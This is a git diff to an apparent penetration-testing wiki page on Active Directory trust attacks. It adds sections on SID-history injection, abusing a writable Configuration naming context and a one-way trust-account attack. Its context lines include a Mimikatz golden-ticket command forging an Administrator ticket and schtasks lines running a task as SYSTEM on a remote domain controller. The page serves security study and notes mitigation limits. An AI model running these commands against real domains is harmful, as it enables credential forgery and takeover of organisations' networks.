Merge pull request #341 from JonasBK/master

New AD trust attacks

windows-hardening/active-directory-methodology/README.md

@@ -281,7 +281,7 @@ Microsoft considers that the **domain isn't a Security Boundary**, the **Forest
 At a high level, a [**domain trust**](http://technet.microsoft.com/en-us/library/cc759554\(v=ws.10\).aspx) establishes the ability for **users in one domain to authenticate** to resources or act as a [security principal](https://technet.microsoft.com/en-us/library/cc780957\(v=ws.10\).aspx) **in another domain**.
 
 Essentially, all a trust does is **linking up the authentication systems of two domains** and allowing authentication traffic to flow between them through a system of referrals.\
-When **2 domains trust each other they exchange keys**, these **keys** are going to be **saved** in the **DCs** of **each domains** (**1 key per trust direction**) and the keys will be the base of the trust.
+When **2 domains trust each other they exchange keys**, these **keys** are going to be **saved** in the **DCs** of **each domains** (**2 keys per trust direction, latest and previous**) and the keys will be the base of the trust.
 
 When a **user** tries to **access** a **service** on the **trusting domain** it will request an **inter-realm TGT** to the DC of its domain. The DC wills serve the client this **TGT** which would be **encrypted/signed** with the **inter-realm** **key** (the key both domains **exchanged**). Then, the **client** will **access** the **DC of the other domain** and will **request** a **TGS** for the service using the **inter-realm TGT**. The **DC** of the trusting domain will **check** the **key** used, if it's ok, it will **trust everything in that ticket** and will serve the TGS to the client.
 
@@ -317,6 +317,8 @@ There are three **main** ways that security principals (users/groups/computer) f
 
 ### Child-to-Parent forest privilege escalation
 
+#### SID-History Injection
+
 Also, notice that there are **2 trusted keys**, one for _Child --> Parent_ and another one for P\_arent --> Child\_.
 
 ```bash
@@ -356,6 +358,15 @@ schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTE
 schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
 ```
 
+#### Exploit writeable Configration NC
+The Configuration NC is the primary repository for configuration information for a forest and is replicated to every DC in the forest. Additionally, every writable DC (not read-only DCs) in the forest holds a writable copy of the Configuration NC. Exploiting this require running as SYSTEM on a (child) DC.
+
+It is possible to compromise the root domain in various ways. Examples:
+- [Link GPO to to root DC site](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)
+- [Compromise gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
+- [Schema attack](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent)
+- Exploit ADCS - Create/modify certificate template to allow authentication as any user (e.g. Enterprise Admins)
+
 ### External Forest Domain Privilege escalation
 
 In this case you can **sign with** the **trusted** key a **TGT impersonating** the **Administrator** user of the current domain. In this case you **won't always get Domain Admins privileges in the external domain**, but **only** the privileges the Administrator user of your current domain **was given** in the external domain.
@@ -364,6 +375,17 @@ In this case you can **sign with** the **trusted** key a **TGT impersonating** t
 Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
 ```
 
+### Attack one-way trusted domain/forest (Trust account attack)
+In short, if an attacker has administrative access to FORESTB which trusts FORESTA, the attacker can obtain the credentials for a _trust account_ located in FORESTA. This account is a member of Domain Users in FORESTA through its Primary Group. As we see too often, Domain Users membership is all that is necessary to identify and use other techniques and attack paths to become Domain Admin.
+
+![](<https://images.squarespace-cdn.com/content/v1/5bbb4a7301232c6e6c8757fa/61a0233f-edd8-40b6-b6ae-8592a29875bd/Picture3.png>)
+
+This technique is not limited to forest trust but works over any domain/forest one-way trust in the direction trusting -> trusted. 
+
+The trust protections (SID filtering, disabled SID history, and disabled TGT delegation) do not mitigate the technique.
+
+[Read more](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted)
+
 ### Domain trust abuse mitigation
 
 **SID Filtering:**
@@ -373,6 +395,7 @@ Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<current
 * But, since SID filtering has potential to break applications and user access, it is often disabled.
 * Selective Authentication
   * In an inter-forest trust, if Selective Authentication is configured, users between the trusts will not be automatically authenticated. Individual access to domains and servers in the trusting domain/forest should be given.
+* Does not prevent writeable Configration NC exploitation and trust account attack.
 
 [**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)